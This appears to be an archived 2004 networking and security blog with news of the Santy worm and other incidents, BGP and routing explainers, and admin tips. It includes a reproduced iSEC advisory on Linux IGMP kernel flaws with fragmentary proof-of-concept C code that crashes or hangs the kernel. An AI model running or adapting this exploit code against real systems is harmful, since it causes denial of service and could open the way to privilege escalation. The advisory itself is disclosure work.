Wednesday, December 29, 2004
Days after Google acted to thwart the Santy worm, security firms warned that variants have begun to spread using both Google and other search engines.
The Santy problem originally flared up a week ago as bulletin board Web sites found their pages erased and defaced by the worm's own text. The worm spread by targeting pages that used vulnerable versions of the PHP Bulletin Board (phpBB) software, and used Google to locate those pages.
After Google took measures to prevent the worm from executing Google searches for the faulty bulletin board software, Santy variants are making the rounds using AOL and Yahoo search, according to security firms, and are still targeting Google as well.
"Perl.Santy.B is a worm written in Perl script that attempts to spread to Web servers running versions of the phpBB 2.x bulletin board software prior to 2.0.11," warned Symantec in a 26 December bulletin. "It uses AOL or Yahoo search to find potential new infection targets."
AOL, which uses Google for its underlying search technology, said it was looking into the problem and was uncertain whether Google blocks already in place would prevent misuse of AOL's search site. Yahoo, which dumped Google's search technology in February, could not be reached immediately for comment.
Several other variants are cropping up. Santy.c targets Google once again. Kaspersky Labs today renamed Santy.d and Santy.e Spyki.a and b., citing significant differences in the worms' structure from earlier Santies. The security firm also said the new worms were using the Brazilian Google for their exploits.
Security researches last week faulted Google for not responding more swiftly to the emerging Santy threat.The Santy worm and its variants affect only targeted bulletin board sites and do not pose a threat to Web surfers who visit them.
Tuesday, December 28, 2004
For Gentoo Linux, do the following (adjust where necessary):
0. Make sure you have an ATX board and a power button ;)
1. Make sure your kernel has support for ACPI (either built-in or as modules)
2. # emerge acpi acpid
3. # rc-update add acpid default
4. for kernel 2.6 (skip this step if ACPI support is compiled into the kernel):
# echo "ac" >>/etc/modules.autoload.d/kernel-2.6
# echo "button" >>/etc/modules.autoload.d/kernel-2.6
5. add parameters apm=off and acpi=on to your kernel boot line (e.g. in /boot/grub/menu.lst)
6. # reboot
The Chinese-language website of fast food giant McDonald's has been broken into twice at Christmas by a hacker protesting against its listing of Taiwan as a separate country, the Beijing Youth Daily says. The world's largest restaurant chain is expanding fast in China and currently has 600 stores in what has become its eighth-largest market.
McDonald's English-language home page features a sign saying "I'm going to McDonald's" pointing at a drop-down menu listing China and Taiwan as separate "country/market" identities.
China has considered the self-ruled island of Taiwan part of its territory since it split away from the mainland after the defeated Nationalists fled there at the end of the Chinese civil war in 1949.
On Christmas night, the McDonald's Chinese home page was turned into a black-and-white picture of a skull bearing the words "protest McDonald's official Web site listing Taiwan as a country", the newspaper said.
On top of the skull were the English words "Chinese hacker".
The site could not be opened at all early on Monday but was back to normal later in the day, China time.The site could not be opened at all early on Monday but was back to normal later in the day, China time.
Monday, December 27, 2004
As a result of link failures and restorations, router reloads, and other events, repeated route withdrawals and re-announcements may occur. This instability, often referred to as flapping, imposes a processing burden on BGP routers, as they must process the flaps by repeatedly updating the route table and propagating the changes to their peers.
RFC 2439 describes a solution, called route flap damping, or sometimes also called dampening. The algorithm described in this RFC is based on assigning a penalty to each route flap. When the penalty exceeds a configured limit, the prefix will be suppressed. Further withdrawals and re-announcements of the prefix will not be accepted, nor propagated to peers. The penalty value will decay over time, so that eventually the prefix will be accepted again.
As a result, a few flaps in a short time, or multiple flaps over a longer period, will not cause a prefix to be suppressed, but multiple flaps in a short time will cause a prefix to be temporarily suppressed. The more unstable a prefix is, the longer it will be suppressed.
The RIPE Routing workgroup has published recommendations for setting appropriate configuration parameters for route flap damping. The document recommends to start damping after 4 consecutive flaps in a row.
The proposed decay values are dependent on prefix length. For short prefixes (/21 and shorter), the maximum time a prefix is suppressed is 30 minutes, for /22 and /23, it is 45 minutes, whereas /24 and longer prefixes can be suppressed for 60 minutes. In addition, several prefixes, such as the DNS root servers, should never be suppressed. These are called golden networks in the document.
The golden networks web page also shows example configuration fragments for Cisco and Juniper routers based on the parameters recommended by the RIPE routing work group. The open source Zebra routing suite cannot be configured to do prefix length based damping. If you use Zebra, you can only configure a single damping policy.
However, not everyone is convinced that route flap damping is actually beneficial to global BGP stability. In a presentation given at the October 2002 NANOG meeting, Randy Bush, Tim Griffin and Zhuoqing Morley Mao show that even a single withdrawal/re-announcement can be observed as multiple flaps across the internet.
As a result, even minor instabilities may lead to prefixes being suppressed. Since it is hard to see whether your prefix is being suppressed by another party, these situations may be hard to debug.
A useful indicator of how 'busy' or 'loaded' your Web server is, the server load average is used to help server administrators monitor server performance and take corrective action to reduce the load.How are the average server load numbers interpreted? How do you monitor server load over time using scripts and/or software. What are the possible causes of high server load? All is revealed, along with useful resources to further your understanding of server load average.
A Chinese security group has released sample code to exploit two new unpatched flaws in Microsoft Windows.
The advisory comes in the week before Christmas, a time when many companies and home users are least prepared to deal with the problems. Security firm Symantec warned its clients of the vulnerabilities on Thursday, after the Chinese company that found the flaws published them to the Internet.
One vulnerability, in the operating system's LoadImage function, could enable an attacker to compromise a victim's PC when the computer displays a specially crafted image placed on a Web site or in an email. The other vulnerability, in the Windows Help program, likewise could affect any program that opens a Help file.
Because the flaws are in a library used by Windows programs, almost all browsers and email clients are likely affected by the flaws, said Alfred Huger, senior director of engineering at Symantec.
"They are rather serious," Huger said. "Both can be exploited by anything that processes images or reads help files."
Because the flaws were accompanied by exploit code that shows how to take advantage of the security holes, Huger expected the exploits to be quickly incorporated into the tools of malicious Internet users.
"The fact that there is an exploit out there is very concerning," he said. "I think you will see it in phishing scams and spyware in very short order."
A mass-mailing computer virus could also quickly begin using the vulnerabilities to spread.
Microsoft could not immediately be reached for comment on the issues.
Tuesday, December 21, 2004
Gregory Aaron Herns, 21, from Portland, Oregon, hacked into the network at NASA's Goddard Space Flight Center to store movies he had downloaded. The intrusion caused systems to crash and took technicians hours to fix, according to reports. In court last Friday, Herns admitted his guilt and apologised for the inconvenience he caused.
Protego, based in Sunnyvale, Calif., provides security monitoring and threat management products.
Computer networking giant Cisco on Monday said the ability of Protego's products to detect, correlate and mitigate threats extends Cisco's Self-Defending Network initiative.
The Self-Defending Network initiative attempts to build security capabilities directly into a computer network.
The acquisition, which is subject to various standard closing conditions, is expected to close in the quarter ending Jan. 29.
Protego and Cisco have worked together to sell security products.
Protego, which has 38 employees, will be integrated into Cisco's Security Technology Group.Shares of San Jose-based Cisco closed Monday at $19.05, up 6 cents, on the Nasdaq Stock Market.
Google has fixed a flaw that allowed hackers to search the contents of a PC running its desktop search tool.
According to a statement from the Web search company on Monday, it has rolled out a fix for the vulnerability that a US computer scientist and two of his students found in the tool in late November."We were made aware of this vulnerability with the Google Desktop Search software and have since fixed the problem so that all current and future users are secure," said a Google spokeswoman.
Dan Wallach, an assistant professor of computer science at Rice University, discovered the vulnerability while working with graduate students Seth Fogarty and Seth Nielson. Wallach describes it as a composition flaw -- where a security weakness is caused by the interaction of several separate components.
According to The New York Times , which first reported the discovery of the vulnerability, Wallach, Fogarty and Nielson found that the Google desktop tool looks for traffic that appears to be going to Google.com and then inserts results from a user's hard disk for a particular search.
They managed to trick the Google desktop search program into inserting those results into other Web pages where an attacker could read them. This would only work after a user had visited an attacker's Web site, upon which a Java program (as created by the Rice group) would be able to fool the Google desktop software into providing the user's search information. The program was able to do anything with the results, including transmitting them back to the attacking site.
MSN's Hotmail service, which has almost 200 million users worldwide, has dumped McAfee as its antivirus partner in favour of rival Trend Micro.
According to Microsoft, emails and attachments sent or received by any of Hotmail's 187 million Web mail customers will from Monday be scanned and cleaned in real time by Trend Micro's antivirus software.Hotmail's antivirus service was previously provided by McAfee and the reason for the change is unclear. However, Martin Hoffman, chief executive of ninemsn, which operates Hotmail in Australia and is half owned by Microsoft, said in a statement that Hotmail will be able to provide a "safer online experience" using Trend Micro's products because they provide "deeper antivirus protection".
Monday, December 20, 2004
Since BGP uses TCP as its transport protocol, it is is vulnerable to all weaknesses of the TCP protocol itself. For a determined attacker, it is possible to forcibly close a BGP session or even hijack it and insert mailicious routing information into the BGP data stream.
Running BGP over IPsec would protect it against attacks on the TCP stream, but in practice that configuration is not deployed widely. Instead, the TCP MD5 option described in RFC 2385 is used commonly, as support for this protocol option is available on most BGP implementations.
The idea behind this feature is that to every packet in a TCP session a field is added with the MD5 checksum of the packet contents and a secret key. This establishes a cryptographically secure signature of the packet. Without knowing the key, it is near impossible to construct a packet with a valid signature. Since BGP speakers will immediately discard packets without a signature or with an invalid signature, the types of attacks described above cannot be executed without knowing the key.
The TCP MD5 option is available in most BGP implementations. For Cisco routers, all that is needed is a "neighbor x.x.x.x password mysecret" statement applied to the neighbor or peer-group definition. Juniper JunOS provides the "authentication-key mysecret" statement which can be applied globally at the BGP level, at the group level, or or at the individual neighbor level.
Unfortunately, for the open source Zebra and Quagga routing suites, the situation is more complicated. Since the MD5 checksum is computed at the TCP protocol level, it is a function of the operating system. For example, Linux does not support it natively, although a third-party kernel patch used to be available along with a wrapper library to have Zebra set the appropriate socket options. This is far from trivial to implement, unlike the password and authentication-key options described above.
Another approach to protect the the TCP session used by BGP is the BGP TTL security hack, presented at a recent NANOG meeting by Dave Meyer. These methods only protect the TCP session against attacks but do not protect against hostile BGP information received from the peer. Several other proposed BGP enhancements, such as S-BGP and soBGP address these issues. Unlike the TCP MD5 option described in this article, none of these protocols are widely deployed.
Sunday, December 19, 2004
...because of a few next topics, I would rather to explain the meaning of IP Routing for who wants to know about next topics but don't know the meaning of the terms related to those topics.
IP Routing is an umbrella term for the set of protocols that determine the path that data follows in order to travel across multiple networks from its source to its destination. Data is routed from its source to its destination through a series of routers, and across multiple networks. The IP Routing protocols enable routers to build up a forwarding table that correlates final destinations with next hop addresses.These protocols include:
- BGP (Border Gateway Protocol)
- IS-IS Intermediate System - Intermediate System
- OSPF Open Shortest Path First
- RIP Routing Information Protocol.
When an IP packet is to be forwarded, a router uses its forwarding table to determine the next hop for the packet's destination (based on the destination IP address in the IP packet header), and forwards the packet appropriately. The next router then repeats this process using its own forwarding table, and so on until the packet reaches its destination. At each stage, the IP address in the packet header is sufficient information to determine the next hop; no additional protocol headers are required.The Internet, for the purpose of routing, is divided into Autonomous Systems (ASs). An AS is a group of routers that are under the control of a single administration and exchange routing information using a common routing protocol. For example, a corporate intranet or an ISP network can usually be regarded as an individual AS. The Internet can be visualized as a partial mesh of ASs. An AS can be classified as one of the following three types.
A Stub AS has a single connection to one other AS. Any data sent to, or received from, a destination outside the AS must travel over that connection. A small campus network is an example of a stub AS.
A Transit AS has multiple connections to one or more ASs, which permits data that is not destined for a node within that AS to travel through it. An ISP network is an example of a transit AS.
A Multihomed AS also has multiple connections to one or more ASs, but it does not permit data received over one of these connections to be forwarded out of the AS again. In other words, it does not provide a transit service to other ASs. A Multihomed AS is similar to a Stub AS, except that the ingress and egress points for data traveling to or from the AS can be chosen from one of a number of connections, depending on which connection offers the shortest route to the eventual destination. A large enterprise network would normally be a multihomed AS.
An Interior Gateway Protocol (IGP) calculates routes within a single AS. The IGP enables nodes on different networks within an AS to send data to one another. The IGP also enables data to be forwarded across an AS from ingress to egress, when the AS is providing transit services.Routes are distributed between ASs by an Exterior Gateway Protocol (EGP). The EGP enables routers within an AS to choose the best point of egress from the AS for the data they are trying to route.The EGP and the IGPs running within each AS cooperate to route data across the Internet. The EGP determines the ASs that data must cross in order to reach its destination, and the IGP determines the path within each AS that data must follow to get from the point of ingress (or the point of origin) to the point of egress (or the final destination).The diagram below illustrates the different types of AS in a network. OSPF and IS-IS are IGPs used within the individual ASs; BGP is the EGP used between ASs.
In the course of network operations, one sometimes would like to know which autonomous system (AS) announces a given IP address. One way to do this is by querying the whois server of a routing registry such as RADB or RIPE, and looking for the origin attribute of a route object. However, not all networks properly register their route objects, so the information might not be available or may be outdated.
Another method is by looking at the actual BGP route table for the origin AS of a prefix. You could do this on your own BGP speaking routers or on a public route server with the "show ip bgp" command (or equivalent), or by using one of the public looking glasses on the web. However, this method is cumbersome, especially if you want to quickly look up something or if you have a large number of addresses that you want to analyze with a script.
You can using command line whois client to lookup for AS and Provider :
$ whois -h whois.cymru.com [IP]
If you have a list of IPs, then do the following steps:
1. At First download the GNU netcat from http://netcat.sourceforge.net/download.php
then create your list such this list:
Example of list01:
you can add comment if you would like:
184.108.40.206 Checked on 2004-06-30 05:05:05 GMT
220.127.116.11 Checked on 2004-06-30 05:05:05 GMT
18.104.22.168 Checked on 2004-06-30 05:05:05 GMT
2. Finally run the netcat:
$ netcat whois.cymru.com 43 "<" list01 | sort -n ">" list02
(Remove " in your script)
3. The file list02 will be sorted by origin AS, and should appear as:
Bulk mode; one IP per line. [2004-06-30 15:37:07 GMT]
701 | 22.214.171.124 | UU UUNET Technologies, Inc.
6079 | 126.96.36.199 | RCN RCN Corporation
23028 | 188.8.131.52 | SAUNET SAUNET
4. Take a peek at the list02 file, and remove any RFC1918 or other
Note: A similar service was announced by the RIPE RIS project. Their whois server can be queried using "whois -h riswhois.ripe.net", and returns results in RPSL like format (as used by the RIPE whois database itself). The data is gathered from route collector boxes in various locations. For more information about this service, see this web page.
When using more than one connection to the same upstream provider, BGP is a logical choice for the routing protocol, since it supports load balancing and redundancy, and provides a clear separation between responsibilities and administrative domains of the provider and the customer, unlike an IGP would. However, the AS allocation guidelines (described in RFC 1930) preclude the use of a dedicated AS number for an organization connected in that way, since there is no need to exchange routing information with more than one party, i.e., there is no separate routing policy.
RFC 2270 proposes to use a single AS number for all customers multi-homed to the same (single) provider, preferably one of the private AS numbers, 64512 to 65535. In this way, there is no unnecessary use of AS numbers by organizations who do not strictly need them. The customer can use BGP to announce its address space, which will then be announced to the rest of the world by its provider. Despite the non-unique (and possibly private) AS number, one still has the advantages of BGP such as a fine grained control over routing announcements and preferences.The RFC also describes some of the implications of using this scheme, such as the need to announce a default route to the customer AS, effects of changes in connectivity, as well as points regarding aggregation and registering routes in a registry.
As of November 14, 2003, the Internet Assigned Numbers Authority (IANA) has allocated the netblocks 184.108.40.206/8 and 220.127.116.11/8 to RIPE NCC, the Regional Internet Registry (RIR) for Europe, the Middle East, Central Asia and Africa.
If you use bogon filters to keep bogon announcements out of your BGP routing table or to drop packets with bogon addresses, please update them to allow these new ranges. Refer to our earlier article for more information about bogons and bogon filters.
Saturday, December 18, 2004
The vulnerability lets an attacker display any Web site while the address bar in IE will display a trusted Web address, for example https://www.paypal.com/, and even show the icon indicating SSL (Secure Socket Layer) security, security researchers warned on Thursday.
The issue could result in more sophisticated phishing scams, a prevalent type of online attack that typically combines spam e-mail messages and Web pages that look like legitimate e-commerce sites to steal sensitive information such as user names, passwords and credit card numbers.
The problem was discovered by a security researcher from the Greyhats Security Group and reported on Thursday by Danish security company Secunia. The vulnerability lies in an ActiveX control in IE and has been found to affect version 6.0 of the browser running on Windows XP with Service Pack 2 and earlier versions, according to a Secunia advisory.
Microsoft is investigating the report, a company spokeswoman said Friday. "We have not been made aware of any attacks attempting to use the reported vulnerabilities or customer impact at this time, but we are aggressively investigating the public reports," she said.
Upon completion of this investigation, Microsoft may provide a security fix through its monthly release process or as an out-of-cycle security update, she said. Meanwhile, Secunia suggests users protect themselves by disabling ActiveX in IE or setting the IE security level to "high" for the Internet zone.
Banks are trying to combat phishing by educating consumers. Citibank, for example, on its Web site warns customers not to click on links in e-mail messages. Also, Citibank advises customers to manually enter the Web address for the bank in a Web browser to make sure they are dealing with Citibank and not a scammer.
Thursday, December 16, 2004
the Linux IGMP networking module and the corresponding user API...
The IGMP (or internet group management protocol) is today's standard for
delivering multicast functionality to internet hosts. The Linux kernel
incorporates a base set of the IGMPv2 and IGMPv3 specifications and is
subdivided into two logical parts:
- - the IGMP/IP networking module responsible for network level operation,
that is only compiled into the kernel if configured for multicasting,
- - the socket API delivering multicasting capabilities to user level
applications, which is always available on Linux.
Both parts of the IGMP subsystem have exploitable flaws:
(1) the ip_mc_source() function, that can be called through the user API
(the IP_(UN)BLOCK_SOURCE, IP_ADD/DROP_SOURCE_MEMBERSHIP as well as
MCAST_(UN)BLOCK_SOURCE and MCAST_JOIN/LEAVE_SOURCE_GROUP socket SOL_IP
level options) suffers from a serious kernel hang and kernel memory
It is possible to decrement the 'sl_count' counter of the
'ip_sf_socklist' structure to be 0xffffffff (that is -1 as signed
integer, see attached PoC code) with the consequence, that a repeated
call to above function will start a kernel loop counting from 0 to
UINT_MAX. This will cause a kernel hang for minutes (depending on the
Right after that the whole kernel memory following the kmalloc'ated
buffer will be shifted by 4 bytes causing an immediate machine reboot
under normal operating conditions. If properly exploited this will lead
to elevated privileges.
(2) Because of the bug (1) it is possible to read huge portions of
kernel memory following a kernel buffer through the ip_mc_msfget() and
ip_mc_gsfget() (user API) functions.
(3) The igmp_marksources() function from the network module is called in
the context of an IGMP group query received from the network and suffers
from an out of bound read access to kernel memory. It happens because
the received IGMP message's parameters are not validated properly. This
flaw is remotely exploitable on Linux machines with multicasting support
if and only if an application has bound a multicast socket.
(1) It is quite obvious that moving around all kernel memory following a
kmalloc'ated buffer is a bad idea. However if done very carefully this
may give a local attacker elevated privileges.
We strongly believe that this flaw is very easily exploitable on SMP
machines (where one thread can interrupt the copy loop before the kernel
gets completely destroyed).
On uniprocessor configurations the exploitability is questionable since
there is no other exit condition from the copy loop than a kernel oops
if we hit a non existing page. If an attacker manages to trick the
kernel to allocate the buffer just right before the end of kernel's
physical memory mapping and also manages to place for example a LDT just
after that buffer, he may gain elevated privileges also on uniprocessor
(2) No special handling is required to exploit this flaw in conjunction
with bug described in (1). This issue is slightly related to the loff_t
race discovered by iSEC in August 2004. Please refer to
for further information about consequences of reading privileged kernel
(3) The last bug described here refers to a remote kernel vulnerability.
There are several conditions that must be meet for remote exploitation.
First, the kernel must have been compiled with multicasting support and
process incoming IGMP packets. Moreover, an attacker must be able to
send group queries (IGMP_HOST_MEMBERSHIP_QUERY messages) to the
Second requirement is an application on the vulnerable machine with a
bound multicast socket with attached source filter. There are numerous
applications using multicasting like video conferencing or routing
software, just to name few. The attacker must also know the IGMP group
used to perform the attack.
You can check if your configuration is vulnerable by looking at these
if both exist and are non-empty you are vulnerable!
Since the kernel does not validate the ih3->nsrcs IGMP parameter, the
igmp_marksources() internal kernel function may access kernel memory
outside of the allocated socket buffer holding the IGMP message.
Depending on the relative position of the socket buffer in the kernel
memory this may lead to an immediate kernel crash.
Another consequence is that the kernel will spend most of the CPU time
on scanning useless kernel data right after the buffer if the nsrcs
parameter is very high. If a continuous flow of prepared IGMP packets is
sent to a vulnerable machine, it may stop to process other network
traffic. For an average machine only a moderate IGMP packet flow is
required. This may lead to serious problems in case of routing software.
Unprivileged local users may gain elevated (root) privileges. Remote
users may hang or even crash a vulnerable Linux machine.
Paul Starzetz <ihaquer_at_isec.pl> has identified the vulnerability and
performed further research. COPYING, DISTRIBUTION, AND MODIFICATION OF
INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF
ONE OF THE AUTHORS.
This document and all the information it contains are provided "as is",
for educational purposes only, without warranty of any kind, whether
express or implied.
The authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of the information provided in
this document. Liability claims regarding damage caused by the use of
any information provided, including any kind of information which is
incomplete or incorrect, will therefore be rejected.
* Linux igmp.c local DoS
* Warning: this code will crash your machine!
* gcc -O2 mreqfck.c -o mreqfck
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
#define MCAST_INCLUDE 1
#define IP_MSFILTER 41
#define IP_UNBLOCK_SOURCE 37
#define IP_BLOCK_SOURCE 38
fatal (const char *message)
fprintf (stdout, "FATAL: %s\n", message);
fprintf (stdout, "FATAL: %s (%s) ", message,
(char *) (strerror (errno)));
int s, r, l;
struct ip_mreqn mr;
struct ip_msfilter msf;
struct ip_mreq_source ms;
in_addr_t a1, a2;
s = socket (AF_INET, SOCK_DGRAM, 0);
if (s < 0)
// first join mcast group
memset (&mr, 0, sizeof (mr));
mr.imr_multiaddr.s_addr = inet_addr ("18.104.22.168");
l = sizeof (mr);
r = setsockopt (s, SOL_IP, IP_ADD_MEMBERSHIP, &mr, l);
if (r < 0)
// add source filter count=1
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("22.214.171.124");
ms.imr_sourceaddr = inet_addr ("126.96.36.199");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_BLOCK_SOURCE, &ms, l);
if (r < 0)
// del source filter count = 0
// imr_multiaddr & imr_interface must correspond to ADD
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("188.8.131.52");
ms.imr_sourceaddr = inet_addr ("184.108.40.206");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
if (r < 0)
// del again, count = -1
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("220.127.116.11");
ms.imr_sourceaddr = inet_addr ("18.104.22.168");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
if (r < 0)
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("22.214.171.124");
ms.imr_sourceaddr = inet_addr ("126.96.36.199");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
if (r < 0)
Saturday, December 11, 2004
Q. Can you give some background on CMS?
A. China MobileSoft Limited is a Bermuda-based holding company, founded in 2000, which owns 100% of MobileSoft Technology (Nanjing), the Chinese operating company. MobileSoft Technology was approved as a Wholly-Foreign Owned Enterprise (“WFOE”) under Chinese law in 2001. A WFOE qualifies for government incentives and is legally treated as a domestic company in China, even though it is funded from overseas. MobileSoft Technology offers a broad range of mobile phone software, from low end to high end. CCID Consulting, an arm of the Chinese Ministry of Information Industry, named the company one of the “30 Chinese Software Enterprises with the Most Growth Potential.”
Q. What are CMS' products?
A. CMS currently offers its customers a wide range of software for mobile phones, including more than a dozen phone applications, operating software for smart and feature phones, and has been developing a version of Linux optimized for mobile devices. In the future, the phone applications and phone software will be able to take advantage of the Palm OS® look and feel and data compatibility, extending the Palm OS ease-of-use to all classes of mobile phones, and will be made available worldwide. CMS and PalmSource customers will continue to be able to customize the user interface to meet the needs of their markets.
Q. Does Palm OS for Linux replace current versions of Palm OS?
A. This is an addition to our line, not a replacement. Other versions of Palm OS continue to be available. As always, we'll make decisions on their future growth path based on feedback from our licensees and other partners.
Q. Will this delay delivery of devices running Palm OS Cobalt?
A. No. Palm OS® Cobalt version 6.1 is already finished, and the software is in the hands of licensees. We expect devices based on it to ship in 2005.
Q. Why Linux?
A. PalmSource's business model has always been based on shared innovation and enabling partners to innovate. The Linux community has the same philosophy, so we think we're a good match for each other.
We think by offering Palm OS for Linux, we can attract more licensees and developers, create more new devices, and bring in more users than either could on its own. Linux has a large community of developers who innovate rapidly and support new technologies aggressively, far faster than any proprietary operating system company can on its own. We bring an award-winning user interface, software frameworks-based on the best of Palm OS® and BeOS®, a large base of professional and consumer applications, and a community of more than 25 million enthusiastic users and over 360,000 registered developers. We believe we can help mobile Linux move beyond the embedded space, and grow rapidly in the consumer and enterprise mobile markets.
We believe that together we'll have the technological and market critical mass to challenge, and beat, even the biggest proprietary operating system companies in the mobile market.
Q. Will existing applications continue to run?
A. We intend to continue to offer the Palm OS® Application Compatibility Environment (PACE), allowing properly written Palm OS 68k applications to run on future versions of the operating system.
Q. When will Palm OS for Linux ship?
A. We intend to provide more information at our developer conference in the Spring.
Q. If you're not shipping yet, why announce now that you’ll support Linux?
A. Our partners -- developers, licensees, operators, chip vendors, and so on -- need to know the long-term future of our software. The development cycle for mobile devices can be very long (for example, some of our licensees plan products up to two years ahead). This happens with almost all platforms. For example, Symbian has announced Symbian OS version 8, but most Symbian products are still based on Symbian 6. And Microsoft has been talking about the next version of Windows for years.
PalmSource is to create a new version of the Palm OS with Linux at its core, the company said today after announcing a plan to buy Chinese phone software company China MobileSoft (CMS) ...
With the device market becoming increasingly phone-centric, and with the Chinese market offering a far greater opportunity to device vendors - and their suppliers, like PalmSource - than Europe and North America, it's not hard to see the OS developer's interest in the region.
PalmSource already has a smart phone OS, but it believes CMS code will allow it to extend its reach further downmarket into more basic voice-oriented models. CMS has built a phone platform, mfone, on the back of a home-brewed, ARM- and MIPs-oriented embedded version of Linux, mLinux, and a selection of the usual comms and PIM apps. All these components will be the Palm OS look and feel - and, crucially, data compatibility - over time. What's planned is no mere GUI swap - more the replacement with PalmSource code of CMS' application and that part of the OS sitting above the Linux kernel. Some CMS technology, particularly in the telephony area, may well find its way into the Palm OS.
PalmSource is also likely to take full advantage of Linux's strength in chipset and device support, the better to improve its OS' ability to offer wireless connectivity, such as Wi-Fi and Bluetooth, which if PalmOne and SanDisk's attempts to ship WLAN add-ons are anything to go by, currently need some improvement. Some Linux APIs will be exposed to PalmOS programmers.
Palm's 68k emulation model will be ported to Linux, PalmSource said, to ensure full compatibility with older apps. Software written for Palm OS 6 - aka Cobalt - using the Protein API will probably just need to be recompiled, the company said.
Like Apple with Mac OS X, PalmSource will keep all the top-layer code proprietary, but it will release any changes it makes to the underlying Linux code - for faster boot times and battery life preservation systems, for example - available to the open source community.
Targeting low-end phones
PalmSource will clearly pitch the result as a more open alternative to Symbian and Microsoft's phone operating systems. But it may also improve PalmSource's ability to attract handset makers looking for a less complex operating system than those that typically power smart phones. Not only Symbian and Windows Mobile, but the Palm OS too is generally seen as unsuitable for low-end, low-resource devices. So far only a small percentage of the world's mobile phones fall into the 'smart' category.
While that may not matter to the Nokia's of this world, already equipped with suitable OS technology, it is likely to appeal to companies keen to break into the developing phone markets, and who are more willing to license the technology they need.
If they want a full-featured product, PalmSource has its currently shipping Palm OS 5-based Garnet OS, along with Cobalt. For customers who want something more open, there will be the CMS-derived Linux version, too, replicate Cobalt's feature-set, PalmSource insiders tell us.
CMS' focus on China should help PalmSource's moves in that geographic direction. For all CMS' interest in that market, it was co-founded and is run by Silicon Valley folk, so there should be a good cultural fit with PalmSource. CMS' China sales and R&D operation is run as a subsidiary, MobileSoft Technology (Nanjing), which PalmSource also plans to acquire - doubling its number of engineers at stroke. PalmSource CEO David Nagel was keen to point out that the results of the joint development work will not be restricted to Chinese ODMs - European and North American customers will be welcomed too.
However, it remains the case that many of the device makers most keen on adopting Linux are based in the Far East. Interestingly, it's been actual and potential customers who have pushed for Linux adoption, rather than PalmSource itself, Nagel told The Register.
CMS software is today shipping on 30 Chinese handset designs and has signed ten ODM licences, so its not exactly short of customers.
The deal depends on shareholder and regulatory approval, of course, but if it goes ahead, PalmSource will issue 1,570,000 shares which it will swap for CMS equity. The transaction is anticipated to close before the end of PalmSource's third fiscal quarter, ending 28 February 28 2005.
PalmSource will then be able to announce a 'Palm on Linux' release schedule at its developer conference next Spring. ®
This tip will show you how to write Java applications that can get past your corporate proxy and access Web servers on the Internet. Adding proxy support to your Java applications involves writing just a few additional lines of code and doesn't rely on any security "loopholes."
Almost every company is concerned with protecting its internal network from hackers and thieves. One common security measure is to completely disconnect the corporate network from the Internet. If the bad guys can't connect to any of your machines, they can't hack into them. The unfortunate side effect of this tactic is that internal users can't access external Internet servers, like Yahoo or JavaWorld. To address this problem, network administrators often install something called a "proxy server." Essentially, a proxy is a service that sits between the Internet and the internal network and manages connections between the two worlds. Proxies help reduce outside security threats while still allowing internal users to access Internet services. While Java makes it easy to write Internet clients, these clients are useless unless they can get past your proxy. Fortunately, Java makes it easy to work with proxies -- if you know the magic words, that is.
The secret to combining Java and proxies lies in activating certain system properties in the Java runtime. These properties appear to be undocumented, and are whispered between programmers as part of the Java folklore. In order to work with a proxy, your Java application needs to specify information about the proxy itself as well as specify user information for authentication purposes. In your program, before you begin to work with any Internet protocols, you'll need to add the following lines:
System.getProperties().put( "proxySet", "true" );
System.getProperties().put( "proxyHost", "myProxyMachineName" );
System.getProperties().put( "proxyPort", "85" );
The first line above tells Java that you'll be using a proxy for your connections, the second line specifies the machine that the proxy lives on, and the third line indicates what port the proxy is listening on. Some proxies require a user to type in a username and password before Internet access is granted. You've probably encountered this behavior if you use a Web browser behind a firewall. Here's how to perform the authentication:
URLConnection connection = url.openConnection();
String password = "username:password";
String encodedPassword = base64Encode( password );
connection.setRequestProperty( "Proxy-Authorization", encodedPassword );
The idea behind the above code fragment is that you must adjust your HTTP header to send out your user information. This is achieved with the
setRequestProperty() call. This method allows you to manipulate the HTTP headers before the request is sent out. HTTP requires the user name and password to be base64 encoded. Luckily, there are a couple of public domain APIs that will perform the encoding for you (see the Resources section).
As you can see, there's not a whole lot to adding proxy support to your Java application. Given what you now know, and a little research (you'll have to find out how your proxy handles the protocol you're interested in and how to deal with user authentication), you can implement your proxy with other protocols.
Scott D. Taylor sent in the magic incantation to deal with proxying the FTP protocol:
defaultProperties.put( "ftpProxySet", "true" );
defaultProperties.put( "ftpProxyHost", "proxy-host-name" );
defaultProperties.put( "ftpProxyPort", "85" );
You can then access the files URLs using the "ftp" protocol via something like:
URL url = new URL("ftp://ftp.netscape.com/pub/navigator/3.04/windows/readme.txt" );
If anybody has examples of using a proxy with other Internet protocols, I'd love to see them.
Note: Has only been tested with JDK 1.1.4.
- HTTP Client API
- Cabletron Systems
- CsProxy (a free proxy server)
- Relevant RFCs
Tuesday, December 07, 2004
Monday, December 06, 2004
Q: What's E1 exactly?What does it mean & how it works?Please explain in brief & complete.
A: E1 is the European equivalent to the American T1. Although both E1 and T1 use 64 kbps channels, they differ in many aspects. E1 is a point-to-point, dedicated, 2.048 Mbps communications circuit that carries 32 channels contrasted with T1's 24 channels. Of these 32 channels, 30 channels transmit voice and data. Unlike T1, E1 always provides clear channel 64 kbps channels.
Of the two remaining channels, one uses time slot 16 and is used for signaling and carrying line supervision (such as whether the telephones are on-hook or off-hook). The other remaining channel uses time slot 0, and is used for synchronization, channel control, and framing control.
There are two options for the physical media:
